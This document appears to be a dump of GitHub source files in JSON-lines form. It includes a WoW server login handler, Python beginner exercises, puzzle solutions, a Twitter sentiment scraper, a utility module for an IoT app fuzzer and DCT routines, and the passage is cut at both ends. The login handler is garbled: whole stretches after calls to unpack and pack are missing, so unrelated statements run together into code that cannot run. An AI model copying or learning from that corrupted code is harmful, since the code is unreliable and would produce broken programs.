decimal=2)\n","repo_name":"neurodata/hyppo","sub_path":"hyppo/ksample/tests/test_ksamp.py","file_name":"test_ksamp.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":206,"dataset":"github-code","pt":"25"} +{"seq_id":"37026747627","text":"from game.world.managers.objects.units.player.guild.GuildManager import GuildManager\nfrom network.packet.PacketReader import PacketReader\nimport time\nfrom struct import unpack\n\nfrom database.dbc.DbcDatabaseManager import *\nfrom database.realm.RealmDatabaseManager import *\nfrom game.world.WorldSessionStateHandler import WorldSessionStateHandler\nfrom game.world.managers.objects.units.ChatManager import ChatManager\nfrom game.world.managers.objects.units.player.GroupManager import GroupManager\nfrom game.world.managers.objects.units.player.PlayerManager import PlayerManager\nfrom network.packet.PacketWriter import *\nfrom utils.ConfigManager import config\nfrom utils.Logger import Logger\nfrom utils.constants.CharCodes import CharLogin\nfrom utils.constants.OpCodes import OpCode\n\n\nclass PlayerLoginHandler(object):\n\n @staticmethod\n def handle(world_session, reader: PacketReader) -> int:\n if len(reader.data) < 8: # Avoid handling wrong player login packet.\n return -1\n\n guid = unpack(' 0:\n player_mgr.enqueue_packet(player_mgr.get_deathbind_packet())\n # Tutorials aren't implemented in 0.5.3.\n # world_session.enqueue_packet(world_session.player_mgr.get_tutorial_packet())\n player_mgr.enqueue_packet(player_mgr.spell_manager.get_initial_spells())\n player_mgr.enqueue_packet(player_mgr.get_action_buttons())\n\n # MotD.\n ChatManager.send_system_message(world_session, config.Server.General.motd)\n\n player_mgr.inventory.load_items()\n\n # Initialize stats first to have existing base stats for further calculations.\n player_mgr.stat_manager.init_stats()\n\n # Need to make sure map/instance exist before applying passives and cast when learned. (They need a Map)\n player_mgr.ensure_map_exists()\n\n # Passive spells contain skill and proficiency learning.\n # Perform passive spell casts after loading skills to avoid duplicate database entries.\n if player_mgr.is_alive:\n player_mgr.spell_manager.cast_passive_spells()\n player_mgr.spell_manager.apply_cast_when_learned_spells()\n player_mgr.skill_manager.init_proficiencies()\n\n player_mgr.quest_manager.load_quests()\n player_mgr.reputation_manager.load_reputations()\n GuildManager.set_character_guild(player_mgr)\n GroupManager.set_character_group(player_mgr)\n\n first_login = player_mgr.player.totaltime == 0\n # Send cinematic.\n if first_login:\n PlayerLoginHandler._send_cinematic(world_session, world_session.player_mgr.player)\n\n player_mgr.complete_login(first_login=first_login)\n\n return 0\n\n @staticmethod\n def _send_cinematic(world_session, player):\n # Sadly, ONLY undeads have intro cinematic.\n cinematic_id = DbcDatabaseManager.chr_races_get_by_race(player.race).CinematicSequenceID\n if cinematic_id != 0:\n data = pack(' bytes:\n data = pack(\n ' int:\n local = time.localtime()\n\n year = local.tm_year - 2000 # \"Blizz Time\" starts at year 2000\n month = local.tm_mon - 1\n day = local.tm_mday - 1\n day_of_week = local.tm_wday\n hour = local.tm_hour\n minute = local.tm_min\n\n return minute | (hour << 6) | (day_of_week << 11) | (day << 14) | (month << 20) | (year << 24)\n","repo_name":"The-Alpha-Project/alpha-core","sub_path":"game/world/opcode_handling/handlers/player/PlayerLoginHandler.py","file_name":"PlayerLoginHandler.py","file_ext":"py","file_size_in_byte":5953,"program_lang":"python","lang":"en","doc_type":"code","stars":219,"dataset":"github-code","pt":"25"} +{"seq_id":"2428029498","text":"tupla = ('Pão', 0.50, 'Ovo', 15, 'Requeijão', 13, 'Manteiga', 10, 'Café', 8,\n 'Leite', 4.50, 'Mussarela', 4.50)\n\nprint(40*'-')\nprint(15*' ', 'LISTAGEM ', 15*' ')\nprint(40*'-')\n\ncont = 0\nwhile True:\n c = 40 - (len(tupla[cont]) + 8)\n print(tupla[cont], c*'.', 'R$', tupla[cont + 1])\n cont += 2\n if cont == 14:\n break\n\nprint(40*'-')\n","repo_name":"mathmorgado/Python","sub_path":"CursoemVideo/Desafios/Desafio_76.py","file_name":"Desafio_76.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"35693699293","text":"def is_div(number):\n for i in range(1,21):\n if(number%i!=0):\n return True;\n return False;\n\nnum = 21;\n\nwhile(is_div(num*2520)):\n num=num+1\n print(num*2520)\n\nprint(num)\n","repo_name":"kordham/project_euler","sub_path":"Euler/Problem5.py","file_name":"Problem5.py","file_ext":"py","file_size_in_byte":197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"1574126496","text":"class Solution(object):\n def isPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n str = ''\n for letter in s:\n if letter.isalnum() is False:\n continue\n\n str += letter.lower()\n\n return str == str[::-1]\n","repo_name":"mralanlee/31daychallenge","sub_path":"125-valid-palindrome/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"14405469541","text":"from pathlib import Path\nfrom zipfile import ZipFile\nimport numpy as np\n\n\np = Path('C:\\\\dev\\\\2_DEG-N2O-5-47 PM.zip')\np_raw = f'{p.stem}.raw'\nprint(f'Trying to read zipped Raw file for V0: {p}')\n\nwith ZipFile(p, 'r') as zip:\n with zip.open(p_raw, 'r') as raw_file:\n lines = raw_file.readlines()\n # Setting waves\n try:\n waves = np.fromstring(lines[0].decode('utf-8'), sep='\\t')\n except Exception as e:\n print(f'Waves cannot be set {e}.')\n print(f'Waves: {waves}')\n # Setting data and timedelays\n timedelays = []\n data = []\n data_loc = []\n started_point = False\n for line in lines:\n line = line.decode('utf-8')\n if not started_point:\n if 'S_' in line:\n started_point = True\n timedelay = float(line[2:])\n timedelays.append(timedelay)\n data_loc = []\n else:\n if len(line) < 6:\n if 'E_' in line:\n started_point = False\n data.append(data_loc)\n else:\n try:\n data_loc.append(np.fromstring(line, sep='\\t'))\n except Exception as e:\n print(f'Data line cannot be installed: {e}, timedelay: {timedelay}')\n raise e\n\n\n if not data:\n raise Exception('No data were set.')\n else:\n timedelays = np.array(timedelays)\n data = np.array(data)\n print(f'Timedelays: {timedelays}')\n print(f'Data[0]: {data[0]}')","repo_name":"Saldenisov/pyconlyse","sub_path":"utilities/mytests/open_zip_raw_VO.py","file_name":"open_zip_raw_VO.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"6281545954","text":"\"\"\"\n=====================\nThis is a utility python module for smartfuzz.py and randomfuzz.py\n@author: lkshar\n=====================\n\"\"\"\n\nimport requests\nimport time\nimport datetime\nimport string\nimport random\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom itertools import permutations\n\nrand = False\nmodes = [\"Home\", \"Away\", \"Night\", \"sunset\", \"sunrise\"] # add possible modes\ndata_types = { \n # following are inputs from preferences\n \"string\" : [\"string\", \"text\", \"\"],\n \"number\" : [\"int\", \"long\", \"number\"],\n \"decimal\" : [\"decimal\", \"float\", \"double\"],\n \"boolean\" : [\"bool\", \"Boolean\", \"boolean\"],\n \"check\" : [\"checkbox\", \"radio\", \"button\", \"reset\", \"submit\"],\n \"range\" : [\"range\"],\n \"email\" : [\"email\"],\n \"date\" : [\"date\"],\n \"time\" : [\"time\"],\n \"phone\" : [\"tel\", \"phone\"],\n \"url\" : [\"url\"],\n # following are device events and endpoints\n \"capability\" : [\"capability\"],\n \"mode\" : [\"mode\", \"location\"],\n \"endpoint\" : [\"endpoint\"]\n }\n######################## utility functions ##########################\ndef setRand():\n global rand\n rand = True\n\ndef unique_permutations(iterable, r=None):\n previous = tuple()\n for p in permutations(sorted(iterable), r):\n if p > previous:\n previous = p\n yield p\n\ndef generate_a_value(params, param_values, pool, param, dtype=\"\"): # attempt to generate a valid value for a given data type and the pool\n dtype = get_key(dtype, data_types)\n value = \"\"\n ch = change() # 0.5 probability of changing to a random value, instead of the one from pool\n\n if pool:\n i = len(pool) - 1\n rand_idx = random.randint(0, i)\n value = pool[rand_idx]\n\n if dtype == \"string\":\n if ch:\n value = generate_random_string()\n\n elif dtype == \"boolean\":\n value = random.choice([\"true\", \"false\"])\n\n elif dtype == 'mode':\n if not valid_mode(value) or ch:\n value = random.choice(modes) \n\n elif dtype == \"check\":\n value = random.choice([\"check\", \"uncheck\"])\n\n elif dtype == \"number\":\n if not valid_number(value) or ch:\n value = random.randint(-10, 100)\n \n elif dtype == 'decimal':\n if not valid_decimal(value) or ch:\n value = generate_random_decimal()\n \n elif dtype == \"range\":\n value = generate_random_number()\n if param in params:\n try:\n idx = params.index(param)\n min_val = param_values[idx][0] # idx 0 stores min val\n max_val = param_values[idx][1] # idx 1 stores max val\n value = random.randint(min_val, max_val)\n except:\n value = value\n\n elif dtype == \"email\": # if change is true or if the selected value from pool is invalid, generate a valid value\n if ch or not valid_email(value): # check if curr value from pool is a valid email\n value = generate_random_email() \n elif dtype == \"date\":\n if ch or not valid_date(value):\n value = generate_random_date()\n elif dtype == \"time\":\n if ch or not valid_time(value):\n value = generate_random_time()\n #print(\"time value: \" + str(value))\n elif dtype == \"phone\":\n if ch or not valid_phone(value):\n value = generate_random_phone()\n elif dtype == \"url\":\n if ch or not valid_url(value):\n value = generate_random_url()\n\n #TODO: to handle more data types, as necessary\n \n return value\n\ndef generate_random_string(stringLength=8):\n #letters = string.ascii_lowercase # only lower case\n letters = string.ascii_letters # both lower case and upper case\n return ''.join(random.choice(letters) for i in range(stringLength))\n\ndef generate_random_number(stringLength=2):\n letters = string.digits # both digits\n if rand: # if rand mode is on, increase the range\n stringLength = 4\n return ''.join(random.choice(letters) for i in range(stringLength))\n\ndef generate_random_decimal():\n value = 0.001\n if rand:\n value = random.random()\n return value\n\ndef generate_random_alphaNumeric_string(stringLength=8):\n lettersAndDigits = string.ascii_letters + string.digits\n return ''.join((random.choice(lettersAndDigits) for i in range(stringLength)))\n\n# generate a list of values between the two given range r1 and r2 (r2 exclusive), randomly ordered\ndef generate_random_range(r1, r2):\n result = list(range(r1, r2))\n random.shuffle(result)\n #print(result)\n return result\n\n# function to return key for any value from a given dictionary\ndef get_key(val, my_dict): \n\tfor key, values in my_dict.items(): \n\t\tif val in values: # values is a list \n\t\t\treturn key \n\treturn \"string\" # default dtype\n\ndef change():\n # seed random number generator\n # seed(1) # this always results in the same random value\n change = False \n prob = random.random() # random val btw 0 to 1\n #print(prob)\n if prob < 0.5: # prob of change < 0.5\n change = True\n\n if rand: # if this mode is on, always change value\n change = True\n return change\n\ndef get_token_endpoint(driver):\n token_elem = driver.find_element(By.ID, \"api-client-id\")\n endpoint_elem = driver.find_element(By.ID, \"api-endpoint\")\n\n token = token_elem.get_attribute(\"value\")\n endpoint = endpoint_elem.get_attribute(\"value\")\n\n print(\"API Token: \" + token)\n print(\"API Endpoint: \" + endpoint)\n return token, endpoint\n\ndef connect_endpoint(ep_url,token,method='get',data=None):\n headers = {'Authorization' : 'Bearer ' + token }\n \n print(ep_url)\n # data = {key: value} # data is a dictionary\n if method.lower() == 'post':\n print(\"POST request\")\n if data != None:\n response = requests.post(ep_url, data, headers=headers)\n else:\n response = requests.post(ep_url, headers=headers)\n elif method.lower() == 'put':\n print(\"PUT request\")\n if data != None:\n response = requests.post(ep_url, data, headers=headers)\n else:\n response = requests.post(ep_url, headers=headers)\n else:\n print(\"GET request\")\n if data != None:\n response = requests.get(ep_url, data, headers=headers)\n else:\n response = requests.get(ep_url, headers=headers)\n \n\n print(str(response.status_code))\n #print(response.json())\n #x = json.loads(response)\n #print(str(x))\n if str(response.status_code).startswith('2'): # success\n return True\n else: # error\n return False\n\n\ndef valid_number(value):\n valid = False\n try: # attempt to cast value to number dtype usign try-except-finally block\n value = int(value)\n return valid\n except: \n return valid\n return valid\n\ndef valid_mode(value):\n valid = False\n if value in modes:\n valid = True\n return valid\n\n# TODO: to implement the following, remaining methods....\ndef valid_decimal(value):\n valid = False\n return valid\n\ndef valid_email(value):\n valid = False\n\n return valid\n\ndef valid_date(value):\n valid = False\n\n return valid\n\ndef valid_time(value):\n valid = False\n\n return valid\n\ndef valid_phone(value):\n valid = False\n\n return valid\n\ndef valid_url(value):\n valid = False\n\n return valid\n\ndef generate_random_email():\n value = \"user@email.com\"\n return value\n\ndef generate_random_date():\n ts = time.time()\n value = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')\n return value\n\ndef generate_random_time():\n ts = time.time()\n value = datetime.datetime.fromtimestamp(ts).strftime('%H:%M') # get current time\n if rand: # in rand mode, randomise hour value\n tokens = value.split(\":\")\n r = random.randint(-10,10)\n val1 = int(tokens[0]) + r\n val2 = tokens[1]\n value = str(val1) + \":\" + str(val2) \n return value\n\ndef generate_random_phone():\n value = \"11111111\"\n return value\n\ndef generate_random_url():\n value = \"https://7a09f96c0e1c.ngrok.io/fuzzthings/things.php\"\n return value\n\n","repo_name":"Jesper20/smartfuzz","sub_path":"scripts/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":8318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"36753626542","text":"student_grades = {'Soham': 9.1, 'Deepak': 8.8, 'Satpute': 7.5}\r\n\r\ndef mean(value):\r\n if isinstance(value,dict):\r\n mean = sum(value.values()) / len(value)\r\n else:\r\n mean = sum(value)/len(value)\r\n return mean\r\n\r\nprint(mean(student_grades))\r\n","repo_name":"SohamS757/Learning_-Python-","sub_path":"Basic_DataTypes/Basics.py","file_name":"Basics.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"26706306913","text":"\n# coding: utf-8\n\n# In[1]:\n\nfrom textblob import TextBlob\nimport csv\nimport tweepy\nimport unidecode\n\n\n# In[16]:\n\nquery_number = 0\nquery = ''\nwith open(\"auth.txt\", \"r\") as authFile:\n authInfo = authFile.readlines()\nauth1 = tweepy.auth.OAuthHandler(authInfo[0].replace(\"\\n\",\"\"), authInfo[1].replace(\"\\n\",\"\"))\nauth1.set_access_token(authInfo[2].replace(\"\\n\",\"\"), authInfo[3].replace(\"\\n\",\"\"))\napi1 = tweepy.API(auth1)\n\ndef search(query, query_number, api):\n print(api)\n print('Searching for Tweets related to ' + query)\n csvFile = open(query,'w')\n csvWriter = csv.writer(csvFile)\n csvWriter.writerow([\"username\",\"author id\",\"created\", \"text\", \"retwc\", \"hashtag\", \"followers\", \"friends\",\"polarity\",\"subjectivity\"])\n counter = 0\n\n for tweet in tweepy.Cursor(api.search, q = query, lang = \"en\", result_type = \"popular\", count = query_number).items():\n created = tweet.created_at\n text = tweet.text\n text = unidecode.unidecode(text) \n retwc = tweet.retweet_count\n try:\n hashtag = tweet.entities[u'hashtags'][0][u'text'] #hashtags used\n except:\n hashtag = \"None\"\n username = tweet.author.name #author/user name\n authorid = tweet.author.id #author/user ID#\n followers = tweet.author.followers_count #number of author/user followers (inlink)\n friends = tweet.author.friends_count #number of author/user friends (outlink)\n\n text_blob = TextBlob(text)\n polarity = text_blob.polarity\n subjectivity = text_blob.subjectivity\n csvWriter.writerow([username, authorid, created, text, retwc, hashtag, followers, friends, polarity, subjectivity])\n\n counter = counter + 1\n if (counter == query_number):\n break\n\n csvFile.close()\n\ndef mainMenu():\n options_d = [\"1. Enter Twitter security keys\", \"2. Set number of Tweets to pull\", \"3. Set search query\", \"4. Begin search\", \"5. Exit\"]\n \n selected_option = 0\n print (\"Menu options\")\n for line in options_d:\n print(line)\n while (selected_option == 0):\n selected_option = int(input('Please enter an option number '))\n if selected_option == 1:\n print(\"Not implemented\")\n selected_option = 0\n elif selected_option == 2:\n query_number = int(input('Please enter the number of Tweets to pull. '))\n selected_option = 0\n elif selected_option == 3:\n query = input('Please enter a search term. ')\n selected_option = 0\n elif selected_option == 4:\n search(query, query_number, api1)\n else:\n print(\"Not a valid option number\")\n selected_option = 0\nmainMenu()\n\n\n# \n","repo_name":"StevenKell/spoonbill","sub_path":"Spoonbill.py","file_name":"Spoonbill.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"10285557088","text":"import re\nimport pprint\n\npp = pprint.PrettyPrinter(indent=2)\n\ndef parseLine( line: str ) -> (str, [(int,str)]):\n\tm1 = re.match(r'(.*) bags contain (.*).', line).groups()\n\tbag = m1[0]\n\tcontent = filter(lambda x: x != None, [re.match(r'(\\d+) (.*) (bag|bags)', x) for x in m1[1].split(', ')])\n\treturn bag,content\n\ndef makeDict( ls: [str]) -> dict:\n\tbb = {}\n\tfor line in ls:\n\t\tbag, content = parseLine(line)\n\t\tbb[bag] = bb.get(bag, [])\n\t\tlist(map(lambda gr: bb[bag].append((gr.groups()[1], int(gr.groups()[0]))), content))\n\treturn bb\n\ndef invertDict( a : dict ) -> dict:\n\to = {}\n\tfor k in a.keys():\n\t\tfor kk,val in a[k]:\n\t\t\to[kk] = o.get(kk, [])\n\t\t\to[kk].append(k)\n\treturn o\n\ndef howManyContain( key:str, od: dict, res = set() ) -> int:\n\tfor container in od.get(key, []):\n\t\tres.add(container)\n\t\thowManyContain( container, od, res )\n\treturn len(res)\n\ndef howManyBagsWithin( key:str, bb: dict ) -> int:\n\tres = 0\n\tfor cont in bb.get(key):\n\t\tres += cont[1] + cont[1] * howManyBagsWithin(cont[0], bb)\n\n\treturn res\n\n\n\ndef solution1( ls: [str]) -> int:\n\tbb = makeDict(ls)\n\too = invertDict(bb)\n\tn = howManyContain('shiny gold', oo)\n\treturn n\n\ndef solution2( ls: [str]) -> int:\n\tbb = makeDict(ls)\n\tn = howManyBagsWithin('shiny gold', bb)\n\treturn n\n","repo_name":"ivanslo/AdventOfCode","sub_path":"2020/07_python/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"15882874119","text":"'''\nUna institución educativa estableció un programa para estimular a\nlos aprendices con buen rendimiento académico y que consiste en\nlo siguiente:\n *Si el promedio es de 9.5 o más y el aprendiz es de secundaria, entonces\neste podrá cursar 55 unidades y se le hará un 25% de descuento.\n *Si el promedio es mayor o igual a 9 pero menor que 9.5 y el aprendiz es de\nsecundaria, entonces este podrá cursar 50 unidades y se le hará un 10% de\ndescuento.\n *Si el promedio es mayor que 7 y menor que 9 y el aprendiz es de\nsecundaria, este podrá cursar 50 unidades y no tendrá ningún descuento.\n *Si el promedio es de 7 o menor, el número de materias reprobadas es de 0\na 3 y el aprendiz es de secundaria, entonces podrá cursar 45 unidades y no\ntendrá descuento.\n *Si el promedio es de 7 o menor, el número de materias reprobadas es de 4\no más y el aprendiz es de secundaria, entonces podrá cursar 40 unidades y\nno tendrá ningún descuento.\n *Si el promedio es mayor o igual a 9.5 y el aprendiz es de profesional,\nentonces podrá cursar 55 unidades y se le hará un 20% de descuento. Sí el\npromedio es menor de 9.5 y el aprendiz es de profesional, entonces podrá\ncursar 55 unidades y no tendrá descuento.\n\nObtener el total que tendrá que pagar un aprendiz si la matrícula para\naprendices de profesional es de $300 por cada cinco unidades y para\naprendices de secundaria es de $180 por cada cinco unidades.\n'''\n\npromedio = float(input('Ingrese su promedio: '))\nnivel = str.upper((input('''\nResponda A o B respectivamente dependindo de su nivel educativo: \nA - Secundaria\nB - Profesional\n''')))\n\nprecioProfX5U = 300\nprecioSecX5U = 180\n\nif nivel == 'A' and promedio >= 9.50 and promedio <= 10.00:\n unidadesCursar = 55\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '25%'\n descuento = totalMatricula * 25 / 100\n totalConDesc = totalMatricula - descuento\n\nelif nivel == 'A' and promedio >= 9.00 and promedio < 9.50:\n unidadesCursar = 50\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '10%'\n descuento = totalMatricula * 10 / 100\n totalConDesc = totalMatricula - descuento\n\nelif nivel == 'A' and promedio > 7.00 and promedio < 9.00:\n unidadesCursar = 50\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '0%'\n descuento = 0\n totalConDesc = totalMatricula\n\nelif nivel == 'A' and promedio <= 7.00 and promedio >= 0 :\n materiasReprobadas = int(input('Ingrese cantidad de materias reprobadas: '))\n if materiasReprobadas >= 0 and materiasReprobadas <= 3:\n unidadesCursar = 45\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '0%'\n descuento = 0\n totalConDesc = totalMatricula\n elif materiasReprobadas >= 4:\n unidadesCursar = 40\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '0%'\n descuento = 0\n totalConDesc = totalMatricula\n \nelif nivel == 'B' and promedio >= 9.5 and promedio <= 10.00:\n unidadesCursar = 55\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '20%'\n descuento = totalMatricula * 20 / 100\n totalConDesc = totalMatricula - descuento\n\nelif nivel == 'B' and promedio < 9.5 and promedio >= 0:\n unidadesCursar = 55\n totalMatricula = unidadesCursar / 5 * precioSecX5U\n cantidadDesc = '0%'\n descuento = 0\n totalConDesc = totalMatricula\n\nelif nivel != 'B' or nivel != 'A' or promedio < 0 and promedio > 10.00: \n print(\"Nivel educativo o promedio no valido, responda A o B respectivamente y con promedio entre 0 y 10.00\")\n unidadesCursar = 'NA'\n totalMatricula = 'NA'\n cantidadDesc = '0%'\n descuento = 0\n totalConDesc = totalMatricula\n\n\nprint('Las unidades a cursar son', unidadesCursar, '. El total de Matricula sin descuento es: $', totalMatricula, '. Su descuento es de:', cantidadDesc,'Por un monto de: $', descuento, '. Y el precio final con descuento es: $', totalConDesc)\n \n\n\n\n","repo_name":"danisebastian9/Ciclo1MinTIC","sub_path":"Semana3/Exercise6.py","file_name":"Exercise6.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"35011442664","text":"#!/usr/bin/python\nimport misc\nfrom copy import deepcopy\nimport voir_cmd\nimport inventaire_cmd\nimport process_action_list\n\n\ndef get_ores_nb_in_case(case, ore):\n result = 0\n for i in range(0, len(case[\"ores\"])):\n if case[\"ores\"][i] == ore:\n result += 1\n return result\n\n\ndef get_ores_in_inventory(inventory, ore):\n result = 0\n for i in range(0, len(inventory)):\n if inventory[i][\"type\"] == ore:\n result = int(inventory[i][\"nb\"])\n return result\n\n\ndef check_elevation(level, inventory, case):\n current_tab = deepcopy(misc.lvl_ore_priority_tab[level - 1])\n for i in range(0, len(current_tab)):\n current_check = int(current_tab[0][i][\"nb\"])\n current_check -= get_ores_in_inventory(inventory, current_tab[0][i][\"type\"])\n current_check -= get_ores_nb_in_case(case, current_tab[0][i][\"type\"])\n if current_check > 0:\n return False\n return True\n\n\ndef check_case(level, case):\n current_tab = deepcopy(misc.lvl_ore_priority_tab[level - 1])\n for i in range(0, len(current_tab)):\n current_check = int(current_tab[0][i][\"nb\"])\n current_check -= get_ores_nb_in_case(case, current_tab[0][i][\"type\"])\n if current_check > 0:\n return False\n return True\n\n\ndef check_nb_players(level, case):\n if misc.nb_players_on_case[level - 1] > case[\"players\"]:\n return False\n return True\n\n\ndef drop_on_case(com, level, case, nb_players):\n current_tab = deepcopy(misc.lvl_ore_priority_tab[level - 1])\n for i in range(0, len(current_tab[0])):\n current_check = int(current_tab[0][i][\"nb\"]) - get_ores_nb_in_case(case, current_tab[0][i][\"type\"])\n print(\"%s : \" % current_tab[0][i][\"type\"], \"j'ai besoin de %d pierres et j'en ai actuellement\" % current_tab[0][i][\"nb\"], \" %d\" % get_ores_nb_in_case(case, current_tab[0][i][\"type\"]))\n while current_check > 0:\n for k in range(0, len(misc.ressource_tab)):\n if misc.ressource_tab[k][1] == current_tab[0][i][\"type\"]:\n ret = com.pose(misc.ressource_tab[k][0])\n if ret:\n case[\"ores\"].append(misc.ressource_tab[k][1])\n print(\"j'ai pose \", misc.ressource_tab[k][0])\n else:\n print(com.inventaire())\n print(\"je n'ai pas reussi a poser :\", misc.ressource_tab[k][0])\n if level != 1 and nb_players > 0:\n com.broadcast(\"elevation level:\" + str(level) + \";id:\" + str(com.id))\n current_check -= 1\n return case\n\n\ndef check_players_arrived(messages, nb_players, id):\n i = 0\n while len(messages) > 0:\n if \"message 0,joined \" + str(id) == messages[i]:\n nb_players -= 1\n elif messages[i] == \"message 0,aborted \" + str(id):\n nb_players += 1\n del messages[i]\n return nb_players\n\n\ndef take_the_too(com, case):\n current_tab = deepcopy(misc.lvl_ore_priority_tab[com.level - 1])\n for i in range(0, len(current_tab[0])):\n current_check = get_ores_nb_in_case(case, current_tab[0][i][\"type\"]) - int(current_tab[0][i][\"nb\"])\n while current_check > 0:\n pos = int(current_tab[0][i][\"type\"]) - 1\n print(misc.ressource_tab[pos][0])\n com.prend(misc.ressource_tab[pos][0])\n if com.level != 1:\n com.broadcast(\"elevation level:\" + str(com.level) + \";id:\" + str(com.id))\n current_check -= 1\n\n\ndef elevation(com, level, inventory, case):\n nb_players = misc.nb_players_on_case[level - 1] - 1\n food = inventaire_cmd.get_food_quantity(inventory)\n if check_elevation(level, inventory, case):\n if nb_players > 0:\n print(\"In waiting players boucle\")\n if process_action_list.check_join(com.postman(), com) and food > misc.enough_food:\n com.mode = 2\n return\n while nb_players > 0 and food > misc.critical_food:\n com.broadcast(\"elevation level:\" + str(level) + \";id:\" + str(com.id))\n if check_case(level, case) == False:\n case = drop_on_case(com, level, case, nb_players)\n if level != 1:\n com.broadcast(\"elevation level:\" + str(level) + \";id:\" + str(com.id))\n nb_players = check_players_arrived(com.postman(), nb_players, com.id)\n food = inventaire_cmd.get_food_quantity(inventaire_cmd.inventaire(com.inventaire()))\n if com.level > 1:\n com.broadcast(\"elevation enough players id:\" + str(com.id))\n if food <= misc.critical_food:\n com.broadcast(\"elevation aborted \" + str(com.id))\n com.mode = 0\n print(\"incantation aborted\")\n return False\n if check_case(level, case) == False:\n drop_on_case(com, level, case, nb_players)\n take_the_too(com, voir_cmd.voir(com.voir())[0][0])\n print(com.level, \" \", voir_cmd.voir(com.voir())[0][0])\n if com.level != 1:\n tmp = \"fete_du_sleep id:\" + str(com.id)\n print(tmp)\n com.broadcast(tmp)\n print(food)\n print(\"on commence l'incantation NIVEAU :\", com.level)\n ret = com.postman()\n while len(ret) > 0:\n del ret[0]\n ret = com.incantation()\n print(\"RETOUR DE L'INCANTATION : \", ret)\n print(\"incantation finie :\", com.level)\n com.broadcast(\"incantation_finie level:\" + str(com.level) + \" id:\" + str(com.id))\n com.mode = 0\n return True\n return False\n","repo_name":"budocay/Zappy","sub_path":"src/client_ia/elevation.py","file_name":"elevation.py","file_ext":"py","file_size_in_byte":5563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"70040911747","text":"import scipy as sp\r\nimport numpy as np\r\nimport cv2 as cv\r\n\r\nimport matplotlib.pyplot as plt\r\nimport time\r\nfrom scipy.linalg import norm\r\n\r\n\r\ndef normalize(v):\r\n \"\"\"\r\n normalize a one dimension np.array.\r\n v: Is a np.array of one dimension\r\n return: a np.array witch modelu is one\r\n \"\"\"\r\n norm = np.linalg.norm(v)\r\n normal_array = v/norm\r\n return normal_array\r\n\r\n\r\ndef dct(v):\r\n \"\"\"\r\n DCT for one dimension np.array.\r\n v: Is a np.array of one dimension [1:N]\r\n return: Discrete cosine transform of v\r\n \"\"\"\r\n N = v.shape[0]\r\n c = np.zeros(N) #[0:N-1]\r\n\r\n sum = 0\r\n for j in range(0,N):\r\n sum = sum + ( np.cos(0 * np.pi * (2*(j+1) - 1)/(2*N)) * v[j] ) \r\n\r\n c[0] = np.sqrt(1/N)*sum\r\n\r\n for k in range(1,N):\r\n sum = 0\r\n for j in range(0,N):\r\n sum = sum + ( np.cos(k * np.pi * (2*(j+1) - 1)/(2*N)) * v[j] ) \r\n\r\n c[k] = np.sqrt(2/N) * sum\r\n\r\n return c\r\n\r\n\r\ndef dct_slow(matrix):\r\n N = matrix.shape[0]\r\n C = np.zeros( shape = (N,N) )\r\n Z = np.zeros(matrix.shape)\r\n\r\n C[0,:] = 1 * np.sqrt(1/N)\r\n for k in range(1, N):\r\n for j in range(N):\r\n C[k, j] = np.cos(k * np.pi * (2*(j+1) - 1)/(2*N)) * np.sqrt(2/N)\r\n\r\n Z = np.dot(C, matrix)\r\n return Z\r\n\r\n\r\ndef dct2(matrix):\r\n \"\"\"\r\n DCT for two dimension np.array.\r\n matrix: Is a np.array of one dimension [M:N]\r\n return: Discrete cosine transform of matrix\r\n \"\"\"\r\n N = matrix.shape[0]\r\n M = matrix.shape[1]\r\n C1 = np.zeros( shape = (N,N) )\r\n C2 = np.zeros( shape = (M,M) )\r\n Z = np.zeros(matrix.shape)\r\n\r\n\r\n for j in range(N):\r\n C1[0, j] = np.sqrt(1/N)\r\n\r\n for k in range(1, N):\r\n for j in range(N):\r\n C1[k, j] = np.cos(k * np.pi * (2*(j+1) - 1)/(2*N)) * np.sqrt(2/N)\r\n\r\n for j in range(M):\r\n C2[j, 0] = np.sqrt(1/M)\r\n\r\n for k in range(1, M):\r\n for j in range(M):\r\n C2[j, k] = np.cos(k * np.pi * (2*(j+1) - 1)/(2*M)) * np.sqrt(2/M)\r\n\r\n Z = np.dot(C1, matrix)\r\n Z = np.dot(Z, C2)\r\n\r\n return Z\r\n\r\n\r\ndef dct2_slow(matrix):\r\n \"\"\"\r\n DCT for two dimension np.array.\r\n matrix: Is a np.array of one dimension [M:N]\r\n return: Discrete cosine transform of matrix\r\n \"\"\"\r\n N = matrix.shape[0]\r\n M = matrix.shape[1]\r\n matrix_r = np.zeros( 